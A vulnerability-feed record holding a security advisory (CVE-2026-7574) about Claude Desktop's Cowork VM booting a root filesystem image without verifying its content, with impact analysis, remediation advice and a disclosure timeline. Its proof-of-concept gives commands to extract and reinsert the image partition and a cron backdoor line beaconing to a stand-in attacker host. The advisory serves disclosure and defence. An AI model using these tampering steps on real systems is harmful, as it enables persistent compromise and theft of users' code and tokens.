{"uuid": "3741ceb2-f89f-465c-a089-9a13fb5082ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-7574", "type": "seen", "source": "http://takeonme.org/cves/cve-2026-7574/", "content": "CVE-2026-7574: Anthropic Claude Desktop Cowork VM Image Contents Not Validated Before Use\n\nThis disclosure documents a local image tampering vulnerability in Anthropic Claude Desktop’s Cowork virtual machine lifecycle.\n\nAHA! has discovered an issue with Claude Desktop from Anthropic and is publishing this disclosure in accordance with AHA!’s standard disclosure policy today, on 2026-06-23. CVE-2026-7574 has been assigned to this issue.\n\nThis vulnerability is estimated to have a CVSSv3.1 rating of AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L (8.7, High), and the relevant SSVC vectors are Exploitation: PoC and Technical Impact: Total.\n\nAny questions about this disclosure should be directed to cve@takeonme.org.\n\nExecutive Summary\n\nAnthropic Claude Desktop Cowork VM image handling (confirmed across v1.1348.0 through v1.2278.0, including v1.1348.0, v1.1617.0, and v1.2278.0) validates only file presence and a version marker string before booting rootfs.img, but does not verify image content integrity at time-of-use. A local attacker with unprivileged code execution as the victim macOS user can modify the VM root filesystem image and have it trusted on subsequent Cowork VM boots, enabling persistent arbitrary code execution in the VM and access to host-mounted directories. The estimated CWE mapping is CWE-353 (Missing Support for Integrity Check).\n\nTechnical Details\n\nThe Cowork VM readiness check effectively validates:\n\n\n\nrootfs.img exists.\n\n.rootfs.img.origin exists.\n\n.rootfs.img.origin matches the expected hardcoded SHA string.\n\n\nIt does not compute or compare a cryptographic digest of the actual on-disk rootfs.img before launch.\n\nIn affected builds, this logic is in the Cowork VM lifecycle path in index.js (including functions such as oAn() and AZt()).\n\nThe image is stored at:\n\n~/Library/Application Support/Claude/vm_bundles/claudevm.bundle/rootfs.img\n\nIn observed versions, integrity checking was performed only when downloading the compressed image stream. After decompression and storage, future boots depended on the origin marker check, not content verification.\n\nThe download-time check compares SHA256 for the compressed .zst stream. The .rootfs.img.origin file stores a version Git commit SHA string, not a content hash of rootfs.img.\n\nBecause these files are writable by the local user, no privilege escalation to root is required for tampering.\n\nRepresentative exploitation sequence\n\n\n\nModify rootfs.img offline. The image is GPT with an ext4 partition beginning at byte offset 105,906,176.\n\nInject a payload (for example service modification, daemon replacement, cron, CA trust insertion, or package-level backdoor).\n\nLeave .rootfs.img.origin unchanged.\n\nWait for Cowork VM startup.\n\nThe startup checks pass and the tampered image boots.\n\n\nProof-of-concept\n\n\n# Local unprivileged user context\nIMG=\"$HOME/Library/Application Support/Claude/vm_bundles/claudevm.bundle/rootfs.img\"\n\n# Confirm image type\nfile \"$IMG\"\n\n# Extract ext4 partition from GPT image (example offsets from testing)\ndd if=\"$IMG\" of=/tmp/rootfs.ext4 bs=512 skip=206848 count=20764639\n\n# Mount and modify in Linux environment\n# mount -o loop /tmp/rootfs.ext4 /mnt\n# echo '#!/bin/bash\\ncurl https://attacker.com/beacon' > /mnt/etc/cron.d/backdoor\n# umount /mnt\n\n# Reinsert modified partition\ndd if=/tmp/rootfs.ext4 of=\"$IMG\" bs=512 seek=206848 conv=notrunc\n\nObserved impact\n\n\n\nConfidentiality loss via in-VM access to mounted host directories and in-session secrets.\n\nIntegrity loss via persistent VM-side code execution affecting user workflows.\n\nPersistence across restarts until image replacement by a future application update.\n\nRuntime access available to attacker code can include read-write VirtioFS mounts, the vsock RPC channel, and approved OAuth token flows via addApprovedOauthToken.\n\nUser-visible stealth remains high because startup can proceed with normal readiness logging (for example, All files ready in <path>).\n\n\nVerification notes\n\nTesting on 2026-04-13 (Claude Desktop v1.1617.0, macOS ARM64) showed the VM booted normally after image modification with no re-download or integrity error. Additional repack testing with an injected /etc/poc-canary.txt file confirmed that arbitrary filesystem modifications persisted through boot and were accessible from the Cowork session. Additional demonstrations showed the creation of a new systemd service to allow root-user access to the running VM.\n\nRecommended remediation\n\n\n\nCompute and verify a SHA256 hash of rootfs.img before every boot, and compare it to an expected value (for example in .rootfs.img.origin or a separate file) before passing the image to Virtualization.framework.\n\nAdd in-VM integrity enforcement with dm-verity or fs-verity.\n\nMake the rootfs read-only at the Virtualization.framework layer and use an overlay for writes.\n\nUse signed VM images and verify the signature before boot.\n\nStore the image in a macOS-protected location where unprivileged users cannot modify it.\n\n\nAttacker Value\n\nThis issue is valuable to both criminal and espionage operators because a one-time local foothold can be converted into stealthy, persistent execution in a trusted developer-facing VM environment. A realistic scenario is a supply-chain implant that edits the Cowork image, then waits for normal user activity to trigger execution inside the VM and quietly exfiltrate source code, tokens, or sensitive workspace data through permitted network paths.\n\nCredit\n\nThis issue is being disclosed through the AHA! CNA and is credited to Todd Manning.\n\nTimeline\n\n\n\n2026-04-30 (Thu): Initial findings presented at AHA! meeting.\n\n2026-05-03 (Sun): Disclosed to the vendor (no response).\n\n2026-06-21 (Sun): Publicly disclosed at Recon 2026 talk, Trusting the Wrong Bits.\n\n2026-06-23 (Tue): Public advisory release for CVE-2026-7574.\n\n\n\n", "creation_timestamp": "2026-06-24T16:00:54.734228Z"}